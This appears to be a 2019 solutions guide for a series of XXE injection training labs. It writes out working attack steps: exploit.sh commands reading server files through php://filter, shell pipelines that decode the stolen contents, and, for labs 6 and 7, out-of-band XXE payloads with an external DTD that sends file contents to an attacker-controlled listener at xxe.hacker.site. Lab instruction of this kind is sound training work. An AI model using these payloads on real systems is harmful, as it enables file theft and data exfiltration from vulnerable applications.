1
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
GETTING STARTED
1. Warm-up: Lab XXE v1
2. Easy: Lab XXE v2
3. Medium: Lab XXE v3
4. Medium: Lab XXE v4
5. Hard: Lab XXE v5
6. Medium: Lab XXE v6
7. Hard: Lab XXE v7
In these XML eXternal Entities Injection labs, you will learn how to exploit this kind of
vulnerability by overcoming difficult levels that are increasingly complex.
The first levels are easy but are fundamental to build the advanced exploitation required in the
final levels.
The solutions you will see are just a few of the many you can have.
As a suggestion, once you finish these labs, you can try to solve them again using your way and
your tools.
All labs are available at the following URL: http://info.xxe.labs/
The main goal of these labs is to exploit an XML eXternal Entities flaw in a login form.
Then, you have to extract the information the challenge will ask you.
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
GETTING STARTED
The best tool is, as usual, your brain. You may also need:
• Web Browser
• Bash shell
• XXEServe (https://github.com/joernchen/xxeserve)
• HTTP Proxy
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
4
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
SOLUTIONS – LAB #1
Below, you can find solutions for each task. Remember, though, that you can follow your own
strategy, which may be different from the one explained in the following lab.
NOTE: The techniques to use during this lab are better explained in the study material. You
should refer to it for further details. These solutions are provided here only to verify the
correctness.
Download the content of .letmepass
./exploit.sh {DOCROOT}/.letmepass
Extract the content from the result
[Step 1] | awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }'
OR
[Step 1] | gawk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }'
Remove JSON escaping characters
[Steps 1|2] | sed 's/\\\//\//g'
Note: this is GNU-based awk command:
123./exploit.sh /var/www/1/.letmepass \
| awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }' \
| sed 's/\\\//\//g'
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
SOLUTIONS – LAB #2
The hidden username is theOhpe that Base64 encoded is: dGhlT2hwZQ== .
To retrieve the value, it is required to perform a DELETE request to the whois.php script.
Download the content of .letmepass
./exploit.sh {DOCROOT}/.letmepass
Extract the content from the result:
[Step 1] | gawk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }'
Remove JSON escaping characters:
[Steps 1|2] | sed 's/\\\//\//g'
Retrieve the content of whois.php using the DELETE verb
curl -s "http://2.xxe.labs/whois.php" -X DELETE
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
SOLUTIONS – LAB #2
Base64 decode and store the result in a file.
Note, the base64 command has different implementations; therefore, you may need one of
these two switches to decode:
[Steps 1|2|3] | base64 -d
OR
[Steps 1|2|3] | base64 -D
./exploit.sh php://filter/convert.base64-
encode/resource=/var/www/xxe/2/.letmepass \
| awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }' \
| sed 's/\\\//\//g'
curl -s 'http://2.xxe.labs/whois.php' -X DELETE | base64 -d
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
SOLUTIONS – LAB #3
Download base64 encoded the content of .letmepass:
./exploit.sh php://filter/convert.base64-encode/resource=/var/www/3/.letmepass.php
Extract the content from the result:
[Step 1] | gawk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }'
Remove JSON escaping characters:
[Steps 1|2] | sed 's/\\\//\//g'
Base64 decode and store result within a file:
[Steps 1|2|3] | base64 -d > whaat.php
OR
[Steps 1|2|3] | base64 -D > whaat.php
De-obfuscate the $config variable and execute the php script:
echo 'var_dump($config);' >> whaat.php | php whaat.php
./exploit.sh php://filter/convert.base64-encode/resource=/var/www
/3/.letmepass \
| awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }' \
| sed 's/\\\//\//g' \
| base64 -d > whaat.php
echo 'var_dump($config);' >> whaat.php | php whaat.php
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
SOLUTIONS – LAB #4
Download the base64 encoded the content of .letmepass:
./exploit.sh php://filter/convert.base64-encode/resource=/var/www/4/.letmepass.php
Extract the content from the result:
[Step 1] | gawk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }'
Remove the JSON escaping characters:
[Steps 1|2] | sed 's/\\\//\//g'
Base64 decode and store result within a file:
[Steps 1|2|3] | base64 -d > wohoo.png
OR
[Steps 1|2|3] | base64 -D > wohoo.png
Open the file
./exploit.sh php://filter/convert.base64-encode/resource=/var/www/
4/.letmepass \
| awk 'match($0, /<b>XXEME (.*)<\\\/b>/, m) { print m[1] }' \
| sed 's/\\\//\//g' \
| base64 -d > wohoo.png
open wohoo.png
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
SOLUTIONS – LAB #5
The solution within basexml.php.
• Download the base64 encoded the content of .letmepass.
• Extract the content from the result.
• Remove the JSON escaping characters.
• Base64 decode and store result within a file.
• Download a list of common PHP file names; this is a good resource:
Filenames_PHP_Common.wordlist @ (http://blog.thireus.com/web-common-
directories-and-filenames-word-lists-collection)
• Automate the retrieving process:
o Similar to Part 1
o Parse result and show the good file that contains the tag
<HIDE_ME_PLEASE>.
10
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
SOLUTIONS – LAB #5
Extract instructions from .letmepass:
./exploit.sh /var/www/5/.letmepass
./file_extractor.sh /var/www/5/hidden
11
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
SOLUTIONS – LAB #6
The solution is within .letmepass.php; this is a blind XXE exploitation, so you need to set
up an OOB channel.
Here are the steps:
• Craft the XML payload moving the external entity definitions in another DTD file
(evil_oob.dtd)
<?xml version='1.0'?>
<!DOCTYPE xxe [
<!ENTITY % EvilDTD SYSTEM 'http://xxe.hacker.site/evil_oob.dtd'>
%EvilDTD;
%LoadOOBEnt;
%OOB;
]>
<login>
<username>XXEME</username>
<password>password</password>
</login>"
• Create evil_oob.dtd as follow:
<!ENTITY % resource SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///var/www/6/.letmepass.php">
<!ENTITY % LoadOOBEnt "<!ENTITY % OOB SYSTEM
'http://xxe.hacker.site:2108/?p=%resource;'>">
: http://xxe.hacker.site:2108/?p=%resource is the path where the xxeserve shell is
listening; you can change it with what you want.
• Run the xxeserve script
ruby xxeserve.rb
12
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
SOLUTIONS – LAB #6
Note: You can improve xxeserve by adding the following lines. With this way, you can
customize the port and host to use:
set :bind, 'xxe.hacker.site'
set :port, 2108
• Base64 Decode
Decode what the shell has received! Check the files folder
cat files/{IP.TIME} | base64 -d
13
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
SOLUTIONS – LAB #7
The solution is in Background.php ; this is a blind XXE exploitation, so you need to set up an
OOB channel.
Here are the steps:
• Retrieve the .letmepass file for instructions
• Automate the retrieving process
Craft the XML payload moving the external entity definitions in another DTD file
( evil_oob.dtd )
File: exploit.sh
<?xml version='1.0'?>
<!DOCTYPE xxe [
<!ENTITY % EvilDTD SYSTEM 'http://xxe.hacker.site/evil_oob.dtd'>
%EvilDTD;
%LoadOOBEnt;
%OOB;
]>
<login>
<username>XXEME</username>
<password>password</password>
</login>
File: evil_oob.dtd
<!ENTITY % resource SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///var/www/7/.letmepass.php">
<!ENTITY % LoadOOBEnt "<!ENTITY % OOB SYSTEM
'http://xxe.hacker.site:2108/?p=%resource;'>">
14
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
SOLUTIONS – LAB #7
NOTE: http://xxe.hacker.site:2108/?p=%resource is the path where the xxeserve shell is
listening; you can change it with what you want.
Run the xxeserve script
ruby xxeserve.rb
NOTE: I added the following lines in order to customize port and host.
set :bind, 'xxe.hacker.site'
set :port, 2108
Decode the .letmepass file
Decode what the shell has received! Check the files folder
cat files/{IP.TIME} | base64 -d
Clear all in files folder
• Download a list of common PHP file names.
o This is good: Filenames_PHP_Common.wordlist
• Make the file extractor script:
o See file_extractor.sh
o Note: there are some hardcoded paths within the script, you should adapt
them respect to your configuration.
• Make a proxy script:
o See getOOB.php
o This script is useful, as it can echo custom XML payloads by just passing to it a
GET request to resource to extract.
15
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs
Each challenge has a folder solution .
Check out the content to retrieve some useful scripts.
16
© 2019 Caendra Inc. | HERA for WAPTXv2 | XXE Labs